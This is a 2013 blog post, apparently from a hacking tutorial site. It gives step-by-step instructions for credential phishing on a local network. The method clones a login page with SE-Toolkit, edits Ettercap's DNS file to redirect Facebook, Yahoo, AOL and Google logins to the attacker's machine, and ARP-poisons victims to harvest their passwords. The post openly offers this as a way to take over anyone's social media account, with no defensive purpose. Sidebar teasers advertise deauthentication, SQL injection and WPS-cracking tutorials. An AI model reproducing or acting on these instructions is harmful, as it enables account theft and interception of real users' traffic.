Today We are here to show a method called phishing ,by this Method you can hack any social media users account and control them.
Lets start:
NOTE: before attempting this : open a terminal and type :
leafpad /etc/ettercap/etter.conf
then delete the # signs in this text :
# redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
# redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
should look like this :
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
SE-TOOLKIT AND ETTERCAP: PHISHING 1:
1) open se-toolkit (set)
2) press options in this order: 1,2,3,2
3) enter your i.p.
4) type in the desired web-site to clone
NOTE: to capture login credentials of e-mail sites be sure to type in the exact address of the login screen, not the home page!!
5) open a new terminal and type in this command :
leafpad /etc/ettercap/etter.dns
or
nano /etc/ettercap/etter.dns
6) remove the 3 websites and i.p.'s and replace them with your desired page to spoof, then save :
microsoft.com A 192.168.1.1
*.microsoft.com A 192.168.1.1
www.microsoft.com PTR 192.168.1.1
^ CHANGE ^
EXAMPLE:
facebook.com A (your i.p)
*.facebook.com A (your i.p.)
www.facebook.com PTR (your i.p.)
7) open Ettercap (GUI): click sniff: unified sniff: select the interface: click hosts: scan hosts: reclick hosts : click list hosts :
add the gateway i.p. as target # 1 : add all target i.p.'s as target #2 : click plugins : select dns_spoof : select MITM : click arp poison
(select remote (for multiple devices connected to network) or ( one way) for one device on network) : click start sniffing
now be patient and wait for tagrets to login and keep and eye on SE-TOOLKIT for credential info!
(also ettercap 0.8.0 now captures any login and password credentials!)
NOTES:
1) when changing a page to spoof you have to exit ettercap and set then disconnect from the network,
edit ettecap config and redo the above steps
2) recommended e-mail spoofs:
yahoo.com A
*.yahoo.com A
www.yahoo.com PTR
facebook.com A
*.facebook.com A
www.facebook.com PTR
aol.com A
*.aol.com A
www.aol.com PTR
e-mail logins:
https://my.screenname.aol.com/ A
https://login.yahoo.com/ A
https://accounts.google.com/ A
3) where se-toolikt info is stored : after control+C is pressed:
File exported to /root/.set/reports/XXXXX.html for your reading pleasure...
[*] File in XML format exported to /root/.set/reports/
also look in :
file system /usr/share/set/src/logs/
Monday, 23 December 2013
Subscribe to:
Post Comments (Atom)
Popular Posts
-
Today i'm gonna sharing this tutorial that how to DOS network devicecs with deauthorization. Lets start: (using backtrack/kali li...
-
Today We are here to show a method called phishing ,by this Method you can hack any social media users account and control them. Lets sta...
-
Today We are here to show a method named as SQL injection ,with the help oF this methOd you can hack websites. Lets start: (backtrack/k...
-
How to crack WPS enabled networks : REAVER: WPS SYSTEMS (wireless protected setup) (tool included with backtrack/kali) NOTE: try to spoof ...
Blogger templates
Categories
hackingtato. Powered by Blogger.






0 comments:
Post a Comment